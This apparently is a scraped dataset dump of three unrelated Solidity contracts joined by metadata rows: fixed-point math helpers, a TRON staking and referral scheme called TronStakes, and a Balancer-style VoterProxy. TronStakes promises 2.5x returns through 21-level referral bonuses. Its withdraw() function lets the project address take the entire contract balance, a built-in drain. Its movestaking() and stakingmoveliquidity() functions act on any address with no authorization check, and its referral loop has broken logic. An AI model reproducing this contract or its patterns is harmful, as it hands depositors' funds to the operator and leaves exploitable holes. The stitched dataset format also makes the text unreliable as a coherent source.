int256 constant ln2_64dot5= 0x2cb53f09f05cc627c8;
int256 constant c1 = 0x1ffffffffff9dac9b;
int256 constant c3 = 0x0aaaaaaac16877908;
int256 constant c5 = 0x0666664e5e9fa0c99;
int256 constant c7 = 0x049254026a7630acf;
int256 constant c9 = 0x038bd75ed37753d68;
int256 constant c11 = 0x03284a0c14610924f;
function fixedLog(uint256 a) internal pure returns (int256 log) {
int32 scale = 0;
while (a > sqrt2) {
a /= 2;
scale++;
}
while (a <= sqrtdot5) {
a *= 2;
scale--;
}
int256 s = (((int256)(a) - one) * one) / ((int256)(a) + one);
// The polynomial R = c1*x + c3*x^3 + ... + c11 * x^11
// approximates the function log(1+x)-log(1-x)
// Hence R(s) = log((1+s)/(1-s)) = log(a)
var z = (s*s) / one;
return scale * ln2 +
(s*(c1 + (z*(c3 + (z*(c5 + (z*(c7 + (z*(c9 + (z*c11/one))
/one))/one))/one))/one))/one);
}
int256 constant c2 = 0x02aaaaaaaaa015db0;
int256 constant c4 = -0x000b60b60808399d1;
int256 constant c6 = 0x0000455956bccdd06;
int256 constant c8 = -0x000001b893ad04b3a;
function fixedExp(int256 a) internal pure returns (uint256 exp) {
int256 scale = (a + (ln2_64dot5)) / ln2 - 64;
a -= scale*ln2;
// The polynomial R = 2 + c2*x^2 + c4*x^4 + ...
// approximates the function x*(exp(x)+1)/(exp(x)-1)
// Hence exp(x) = (R(x)+x)/(R(x)-x)
int256 z = (a*a) / one;
int256 R = ((int256)(2) * one) +
(z*(c2 + (z*(c4 + (z*(c6 + (z*c8/one))/one))/one))/one);
exp = (uint256) (((R + a) * one) / (R - a));
if (scale >= 0)
exp <<= scale;
else
exp >>= -scale;
return exp;
}
function () payable public {
if (msg.value > 0)
buy();
else
withdrawOld(msg.sender);
}
}
| 211,988 | 13,421 |
a9c8c86a8e85f2ea34a44335b672b4e8855559b56549f1aa36d8c4bac4feef67
| 22,094 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TR/TR8r2scxHDZFTzKJdyTbuSqp4JYMDHHDFh_TronStakes.sol
| 5,619 | 17,457 |
//SourceUnit: tronstakes.sol
pragma solidity 0.5.10;
contract TronStakes {
using SafeMath for uint256;
uint256 constant public INVEST_MIN_AMOUNT = 200 trx;
address payable public projectAddress;
uint256 constant public PROJECT_FEE = 30;
uint256[] public REFERRAL_PERCENTS = [70, 30, 10];
uint256[] public ROI_REFERRAL_PERCENTS = [350, 150, 100, 100, 80, 80, 80, 70, 70, 70, 50, 50, 50, 50, 50, 50, 50, 30, 30, 20, 20];
uint256 constant public BASE_PERCENT = 15;
uint256 constant public TIME_STEP = 1 days;
uint256 constant public PERCENTS_DIVIDER = 1000;
uint256 public totalUsers;
uint256 public totalStakingUsers;
uint256 public totalDeposits;
uint256 public totalStakingDeposits;
uint256 public totalMoveStakingNo;
uint256 public totalMoveStaking;
uint256 public totalMoveLiquidity;
uint256 public totalCharges;
uint256 public totalWithdrawn;
uint256 public totalNoWithdrawn;
struct Deposit {
uint256 amount;
uint256 withdrawn;
uint256 start;
}
struct Staking {
uint256 amount;
uint256 withdrawn;
uint256 start;
}
struct Levels{
uint128 level1;
uint128 level2;
uint128 level3;
uint128 level4;
uint128 level5;
uint128 level6;
uint128 level7;
uint128 level8;
uint128 level9;
uint128 level10;
uint128 level11;
uint128 level12;
uint128 level13;
uint128 level15;
uint128 level14;
uint128 level16;
uint128 level17;
uint128 level18;
uint128 level19;
uint128 level20;
uint128 level21;
}
struct User {
Deposit[] deposits;
Staking[] stakings;
uint256 checkpoint;
address referrer;
uint256 total_refer;
uint256 total_user_deposits;
uint256 total_user_staking_deposits;
uint256 total_deposit;
uint40 deposit_time;
uint256 total_staking;
uint40 staking_time;
uint256 total_withdrawal;
uint256 bonus;
uint256 total_bonus;
uint256 staking_roi;
uint256 total_staking_roi;
uint256 roibonus;
uint256 total_roibonus;
Levels leveldetail;
}
mapping(address => User) users;
event NewLiquidityDeposit(address indexed user, uint256 amount);
event NewStakingDeposit(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
event RoiBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
event FeePayed(address indexed user, uint256 totalAmount);
constructor(address payable projectAddr) public {
require(!isContract(projectAddr));
projectAddress = projectAddr;
}
function invest(address referrer) public payable {
require(msg.value >= INVEST_MIN_AMOUNT);
projectAddress.transfer(msg.value.mul(PROJECT_FEE).div(PERCENTS_DIVIDER));
emit FeePayed(msg.sender, msg.value.mul(PROJECT_FEE).div(PERCENTS_DIVIDER));
User storage user = users[msg.sender];
if (user.referrer == address(0) && users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint256 i = 0; i < 21; i++) {
if (upline != address(0)) {
if(i == 0){
users[upline].leveldetail.level1 += 1;
} else if(i == 1){
users[upline].leveldetail.level2 += 1;
} else if(i == 2){
users[upline].leveldetail.level3 += 1;
} else if(i == 3){
users[upline].leveldetail.level4 += 1;
} else if(i == 4){
users[upline].leveldetail.level5 += 1;
} else if(i == 5){
users[upline].leveldetail.level6 += 1;
} else if(i == 6){
users[upline].leveldetail.level7 += 1;
} else if(i == 7){
users[upline].leveldetail.level8 += 1;
} else if(i == 8){
users[upline].leveldetail.level9 += 1;
} else if(i == 9){
users[upline].leveldetail.level10 += 1;
} else if(i == 10){
users[upline].leveldetail.level11 += 1;
} else if(i == 11){
users[upline].leveldetail.level12 += 1;
} else if(i == 12){
users[upline].leveldetail.level13 += 1;
} else if(i == 13){
users[upline].leveldetail.level14 += 1;
} else if(i == 14){
users[upline].leveldetail.level15 += 1;
} else if(i == 15){
users[upline].leveldetail.level16 += 1;
} else if(i == 16){
users[upline].leveldetail.level17 += 1;
} else if(i == 17){
users[upline].leveldetail.level18 += 1;
} else if(i == 18){
users[upline].leveldetail.level19 += 1;
} else if(i == 19){
users[upline].leveldetail.level20 += 1;
} else if(i == 20){
users[upline].leveldetail.level21 += 1;
}
upline = users[upline].referrer;
} else break;
}
}
users[referrer].total_refer += 1;
users[msg.sender].total_deposit += msg.value;
users[msg.sender].total_user_deposits += msg.value;
users[msg.sender].deposit_time = uint40(block.timestamp);
totalUsers += 1;
totalDeposits += msg.value;
user.deposits.push(Deposit(msg.value, 0, block.timestamp));
emit NewLiquidityDeposit(msg.sender, msg.value);
}
function movestaking(address userAddress) public {
User storage user = users[userAddress];
users[userAddress].total_staking += user.total_deposit;
users[userAddress].total_user_staking_deposits += user.total_deposit;
users[userAddress].staking_time = uint40(block.timestamp);
totalStakingUsers += 1;
totalStakingDeposits += user.total_deposit;
user.stakings.push(Staking(user.total_deposit, 0, block.timestamp));
emit NewStakingDeposit(msg.sender, user.total_deposit);
uint256 amount;
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
amount = user.total_deposit.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
users[upline].bonus = users[upline].bonus.add(amount);
users[upline].total_bonus = users[upline].total_bonus.add(amount);
emit RefBonus(upline, msg.sender, i, amount);
upline = users[upline].referrer;
} else break;
}
}
users[userAddress].total_deposit -= user.total_deposit;
}
function stakingmoveliquidity(address userAddress) public {
User storage user = users[userAddress];
uint256 tStaking = user.total_staking;
uint256 cStaking = tStaking * 15 / 100;
uint256 mStaking = tStaking - cStaking;
getstakingreturn(msg.sender);
if(mStaking > 0){
user.total_staking -= tStaking;
user.total_deposit += mStaking;
}
totalMoveStakingNo += 1;
totalMoveStaking += tStaking;
totalMoveLiquidity += mStaking;
totalCharges += cStaking;
}
function getstakingreturn(address userAddress) private {
User storage user = users[userAddress];
uint256 dividends;
uint256 total_mal_deposit = user.total_user_staking_deposits.mul(2500).div(PERCENTS_DIVIDER);
uint256 tWithdrawal = user.total_withdrawal;
if (user.total_staking > 0) {
if(total_mal_deposit > tWithdrawal){
for (uint256 i = 0; i < user.stakings.length; i++) {
if (user.stakings[i].withdrawn < user.stakings[i].amount.mul(2500).div(PERCENTS_DIVIDER)) {
if (user.stakings[i].start > user.checkpoint) {
dividends = (user.stakings[i].amount.mul(BASE_PERCENT).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.stakings[i].start))
.div(TIME_STEP);
} else {
dividends = (user.stakings[i].amount.mul(BASE_PERCENT).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.checkpoint))
.div(TIME_STEP);
}
if (user.stakings[i].withdrawn.add(dividends) > user.stakings[i].amount.mul(2500).div(PERCENTS_DIVIDER)) {
dividends = (user.stakings[i].amount.mul(2500).div(PERCENTS_DIVIDER)).sub(user.stakings[i].withdrawn);
}
user.stakings[i].withdrawn = user.stakings[i].withdrawn.add(dividends);
user.staking_roi = user.staking_roi.add(dividends);
user.total_staking_roi = user.total_staking_roi.add(dividends);
}
}
}
}
}
function withdraw() public {
if (msg.sender == projectAddress){
uint256 contractBalance = address(this).balance;
projectAddress.transfer(contractBalance);
} else {
uint256 contractBalance = address(this).balance;
User storage user = users[msg.sender];
getstakingreturn(msg.sender);
uint256 totalAmount = 0;
uint256 stakingRoi = user.staking_roi;
uint256 referralbonus = user.bonus;
uint256 referroiBonus = user.roibonus;
uint256 totalliquidity = user.total_deposit;
uint256 withdrawamount = totalAmount.add(stakingRoi).add(referralbonus).add(referroiBonus).add(totalliquidity);
if(withdrawamount+user.total_withdrawal > user.total_user_staking_deposits.mul(2500).div(PERCENTS_DIVIDER)){
withdrawamount = user.total_user_staking_deposits.mul(2500).div(PERCENTS_DIVIDER)-user.total_withdrawal;
}
require(withdrawamount > 0, "User has no dividends");
if (contractBalance < withdrawamount) {
withdrawamount = contractBalance;
}
user.checkpoint = block.timestamp;
msg.sender.transfer(withdrawamount);
user.total_withdrawal += withdrawamount;
totalNoWithdrawn += 1;
totalWithdrawn += withdrawamount;
emit Withdrawn(msg.sender, withdrawamount);
user.total_deposit -= totalliquidity;
user.bonus -= referralbonus;
user.roibonus -= referroiBonus;
user.staking_roi -= stakingRoi;
if(stakingRoi > 0){
address upline = user.referrer;
for (uint256 i = 0; i < 21; i++) {
if (upline != address(0)) {
if(users[upline].total_refer >= i){
uint256 ref_roi = stakingRoi.mul(ROI_REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
users[upline].roibonus = users[upline].roibonus.add(ref_roi);
users[upline].total_roibonus = users[upline].total_roibonus.add(ref_roi);
emit RoiBonus(upline, msg.sender, i, ref_roi);
upline = users[upline].referrer;
}
} else break;
}
}
}
}
function getUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 totalDividends;
uint256 dividends;
uint256 total_mal_deposit = user.total_user_staking_deposits.mul(2500).div(PERCENTS_DIVIDER);
uint256 tWithdrawal = user.total_withdrawal;
if (user.total_staking > 0) {
if(total_mal_deposit > tWithdrawal){
for (uint256 i = 0; i < user.stakings.length; i++) {
if (user.stakings[i].withdrawn < user.stakings[i].amount.mul(2500).div(PERCENTS_DIVIDER)) {
if (user.stakings[i].start > user.checkpoint) {
dividends = (user.stakings[i].amount.mul(BASE_PERCENT).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.stakings[i].start))
.div(TIME_STEP);
} else {
dividends = (user.stakings[i].amount.mul(BASE_PERCENT).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.checkpoint))
.div(TIME_STEP);
}
if (user.stakings[i].withdrawn.add(dividends) > user.stakings[i].amount.mul(2500).div(PERCENTS_DIVIDER)) {
dividends = (user.stakings[i].amount.mul(2500).div(PERCENTS_DIVIDER)).sub(user.stakings[i].withdrawn);
}
totalDividends = totalDividends.add(dividends);
}
}
}
}
return totalDividends;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
function contractInfo() view external returns(uint256 base_per, uint256 total_users, uint256 total_staking_users, uint256 total_deposit, uint256 total_staking_deposit, uint256 total_withdrawal, uint256 total_no_withdrawal, uint256 total_move_staking_no, uint256 total_move_staking, uint256 total_move_liquidity, uint256 total_charges) {
return (BASE_PERCENT, totalUsers, totalStakingUsers, totalDeposits, totalStakingDeposits, totalWithdrawn, totalNoWithdrawn, totalMoveStakingNo, totalMoveStaking, totalMoveLiquidity, totalCharges);
}
function userInfo(address addr) view external returns(address upline, uint40 deposit_time, uint256 total_deposit, uint256 staking_time, uint256 total_staking, uint256 total_withdrawal) {
return (users[addr].referrer, users[addr].deposit_time, users[addr].total_deposit, users[addr].staking_time, users[addr].total_staking, users[addr].total_withdrawal);
}
function userInvestInfo(address addr) view external returns(uint256 tuserdeposits, uint256 tuserstakingdeposits, uint256 noliquidity, uint256 nostaking, uint256 stakingroi, uint256 tstakingroi) {
return (users[addr].total_user_deposits, users[addr].total_user_staking_deposits, users[addr].deposits.length, users[addr].stakings.length, users[addr].staking_roi, users[addr].total_staking_roi);
}
function userEarningInfo(address addr) view external returns(uint256 total_bonus, uint256 total_roi_bonus, uint256 ebonus, uint256 eroibonus) {
return (users[addr].total_bonus, users[addr].total_roibonus, users[addr].bonus, users[addr].roibonus);
}
function getFirstDownlineCount(address userAddress) public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256) {
return (users[userAddress].leveldetail.level1, users[userAddress].leveldetail.level2, users[userAddress].leveldetail.level3, users[userAddress].leveldetail.level4, users[userAddress].leveldetail.level5, users[userAddress].leveldetail.level6, users[userAddress].leveldetail.level7);
}
function getSecondDownlineCount(address userAddress) public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256) {
return (users[userAddress].leveldetail.level8, users[userAddress].leveldetail.level9, users[userAddress].leveldetail.level10, users[userAddress].leveldetail.level11, users[userAddress].leveldetail.level12, users[userAddress].leveldetail.level13, users[userAddress].leveldetail.level14);
}
function getThirdDownlineCount(address userAddress) public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256) {
return (users[userAddress].leveldetail.level15, users[userAddress].leveldetail.level16, users[userAddress].leveldetail.level17, users[userAddress].leveldetail.level18, users[userAddress].leveldetail.level19, users[userAddress].leveldetail.level20, users[userAddress].leveldetail.level21);
}
function getUserDoubleStaking(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 doubleStaking = user.total_user_staking_deposits.mul(2500).div(PERCENTS_DIVIDER);
return doubleStaking;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
| 288,535 | 13,422 |
d418fc496b6d0c077010d8e2de81db3c98d0344ed4331767f7b1547a33847dad
| 36,118 |
.sol
|
Solidity
| false |
443847069
|
JellyProtocol/JellyResearch
|
d453ec0c162eb5d6aa6f4ac8776b363cd52b6b36
|
contracts/Aura/VoterProxy.sol
| 5,083 | 19,654 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
interface ICurveGauge {
function deposit(uint256) external;
function balanceOf(address) external view returns (uint256);
function withdraw(uint256) external;
function claim_rewards() external;
function reward_tokens(uint256) external view returns(address);//v2
function rewarded_token() external view returns(address);//v1
function lp_token() external view returns(address);
}
interface ICurveVoteEscrow {
function create_lock(uint256, uint256) external;
function increase_amount(uint256) external;
function increase_unlock_time(uint256) external;
function withdraw() external;
function smart_wallet_checker() external view returns (address);
function commit_smart_wallet_checker(address) external;
function apply_smart_wallet_checker() external;
}
interface IVoting {
function vote(uint256, bool, bool) external; //voteId, support, executeIfDecided
function getVote(uint256) external view returns(bool,bool,uint64,uint64,uint64,uint64,uint256,uint256,uint256,bytes memory);
function vote_for_gauge_weights(address,uint256) external;
}
interface IMinter {
function mint(address) external;
}
interface IStash {
function stashRewards() external returns (bool);
function processStash() external returns (bool);
function claimRewards() external returns (bool);
function initialize(uint256 _pid, address _operator, address _staker, address _gauge, address _rewardFactory) external;
}
interface IFeeDistributor {
function claimToken(address user, address token) external returns (uint256);
function claimTokens(address user, address[] calldata tokens) external returns (uint256[] memory);
function getTokenTimeCursor(address token) external view returns (uint256);
}
interface IDeposit {
function isShutdown() external view returns(bool);
function balanceOf(address _account) external view returns(uint256);
function totalSupply() external view returns(uint256);
function poolInfo(uint256) external view returns(address,address,address,address,address, bool);
function rewardClaimed(uint256,address,uint256) external;
function withdrawTo(uint256,uint256,address) external;
function claimRewards(uint256,address) external returns(bool);
function rewardArbitrator() external returns(address);
function setGaugeRedirect(uint256 _pid) external returns(bool);
function owner() external returns(address);
function deposit(uint256 _pid, uint256 _amount, bool _stake) external returns(bool);
}
interface IRewardDeposit {
function addReward(address, uint256) external;
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract VoterProxy {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
address public mintr;
address public immutable crv;
address public immutable crvBpt;
address public immutable escrow;
address public gaugeController;
address public rewardDeposit;
address public withdrawer;
address public owner;
address public operator;
address public depositor;
mapping (address => bool) private stashPool;
mapping (address => bool) private protectedTokens;
mapping (bytes32 => bool) private votes;
bytes4 constant internal EIP1271_MAGIC_VALUE = 0x1626ba7e;
event VoteSet(bytes32 hash, bool valid);
constructor(address _mintr,
address _crv,
address _crvBpt,
address _escrow,
address _gaugeController) public {
mintr = _mintr;
crv = _crv;
crvBpt = _crvBpt;
escrow = _escrow;
gaugeController = _gaugeController;
owner = msg.sender;
protectedTokens[_crv] = true;
protectedTokens[_crvBpt] = true;
}
function getName() external pure returns (string memory) {
return "BalancerVoterProxy";
}
function setOwner(address _owner) external {
require(msg.sender == owner, "!auth");
owner = _owner;
}
function setRewardDeposit(address _withdrawer, address _rewardDeposit) external {
require(msg.sender == owner, "!auth");
withdrawer = _withdrawer;
rewardDeposit = _rewardDeposit;
}
function setSystemConfig(address _gaugeController, address _mintr) external returns (bool) {
require(msg.sender == owner, "!auth");
gaugeController = _gaugeController;
mintr = _mintr;
return true;
}
function setOperator(address _operator) external {
require(msg.sender == owner, "!auth");
require(operator == address(0) || IDeposit(operator).isShutdown() == true, "needs shutdown");
operator = _operator;
}
function setDepositor(address _depositor) external {
require(msg.sender == owner, "!auth");
depositor = _depositor;
}
function setStashAccess(address _stash, bool _status) external returns(bool){
require(msg.sender == operator, "!auth");
if(_stash != address(0)){
stashPool[_stash] = _status;
}
return true;
}
function setVote(bytes32 _hash, bool _valid) external {
require(msg.sender == operator, "!auth");
votes[_hash] = _valid;
emit VoteSet(_hash, _valid);
}
function isValidSignature(bytes32 _hash, bytes memory) public view returns (bytes4) {
if(votes[_hash]) {
return EIP1271_MAGIC_VALUE;
} else {
return 0xffffffff;
}
}
function deposit(address _token, address _gauge) external returns(bool){
require(msg.sender == operator, "!auth");
if(protectedTokens[_token] == false){
protectedTokens[_token] = true;
}
if(protectedTokens[_gauge] == false){
protectedTokens[_gauge] = true;
}
uint256 balance = IERC20(_token).balanceOf(address(this));
if (balance > 0) {
IERC20(_token).safeApprove(_gauge, 0);
IERC20(_token).safeApprove(_gauge, balance);
ICurveGauge(_gauge).deposit(balance);
}
return true;
}
function withdraw(IERC20 _asset) external returns (uint256 balance) {
require(msg.sender == withdrawer, "!auth");
require(protectedTokens[address(_asset)] == false, "protected");
balance = _asset.balanceOf(address(this));
_asset.safeApprove(rewardDeposit, 0);
_asset.safeApprove(rewardDeposit, balance);
IRewardDeposit(rewardDeposit).addReward(address(_asset), balance);
return balance;
}
function withdraw(address _token, address _gauge, uint256 _amount) public returns(bool){
require(msg.sender == operator, "!auth");
uint256 _balance = IERC20(_token).balanceOf(address(this));
if (_balance < _amount) {
_amount = _withdrawSome(_gauge, _amount.sub(_balance));
_amount = _amount.add(_balance);
}
IERC20(_token).safeTransfer(msg.sender, _amount);
return true;
}
function withdrawAll(address _token, address _gauge) external returns(bool){
require(msg.sender == operator, "!auth");
uint256 amount = balanceOfPool(_gauge).add(IERC20(_token).balanceOf(address(this)));
withdraw(_token, _gauge, amount);
return true;
}
function _withdrawSome(address _gauge, uint256 _amount) internal returns (uint256) {
ICurveGauge(_gauge).withdraw(_amount);
return _amount;
}
function createLock(uint256 _value, uint256 _unlockTime) external returns(bool){
require(msg.sender == depositor, "!auth");
IERC20(crvBpt).safeApprove(escrow, 0);
IERC20(crvBpt).safeApprove(escrow, _value);
ICurveVoteEscrow(escrow).create_lock(_value, _unlockTime);
return true;
}
function increaseAmount(uint256 _value) external returns(bool){
require(msg.sender == depositor, "!auth");
IERC20(crvBpt).safeApprove(escrow, 0);
IERC20(crvBpt).safeApprove(escrow, _value);
ICurveVoteEscrow(escrow).increase_amount(_value);
return true;
}
function increaseTime(uint256 _value) external returns(bool){
require(msg.sender == depositor, "!auth");
ICurveVoteEscrow(escrow).increase_unlock_time(_value);
return true;
}
function release() external returns(bool){
require(msg.sender == depositor, "!auth");
ICurveVoteEscrow(escrow).withdraw();
return true;
}
function vote(uint256 _voteId, address _votingAddress, bool _support) external returns(bool){
require(msg.sender == operator, "!auth");
IVoting(_votingAddress).vote(_voteId,_support,false);
return true;
}
function voteGaugeWeight(address _gauge, uint256 _weight) external returns(bool){
require(msg.sender == operator, "!auth");
//vote
IVoting(gaugeController).vote_for_gauge_weights(_gauge, _weight);
return true;
}
function claimCrv(address _gauge) external returns (uint256){
require(msg.sender == operator, "!auth");
uint256 _balance = 0;
try IMinter(mintr).mint(_gauge){
_balance = IERC20(crv).balanceOf(address(this));
IERC20(crv).safeTransfer(operator, _balance);
}catch{}
return _balance;
}
function claimRewards(address _gauge) external returns(bool){
require(msg.sender == operator, "!auth");
ICurveGauge(_gauge).claim_rewards();
return true;
}
function claimFees(address _distroContract, address _token) external returns (uint256){
require(msg.sender == operator, "!auth");
IFeeDistributor(_distroContract).claimToken(address(this), _token);
uint256 _balance = IERC20(_token).balanceOf(address(this));
IERC20(_token).safeTransfer(operator, _balance);
return _balance;
}
function balanceOfPool(address _gauge) public view returns (uint256) {
return ICurveGauge(_gauge).balanceOf(address(this));
}
function execute(address _to,
uint256 _value,
bytes calldata _data) external returns (bool, bytes memory) {
require(msg.sender == operator,"!auth");
(bool success, bytes memory result) = _to.call{value:_value}(_data);
require(success, "!success");
return (success, result);
}
}
| 20,768 | 13,423 |
8e616a52bd6129cc701dc5fe58589922c6861aa9d094a3956a6ac32368d0a9d5
| 24,844 |
.sol
|
Solidity
| false |
416581097
|
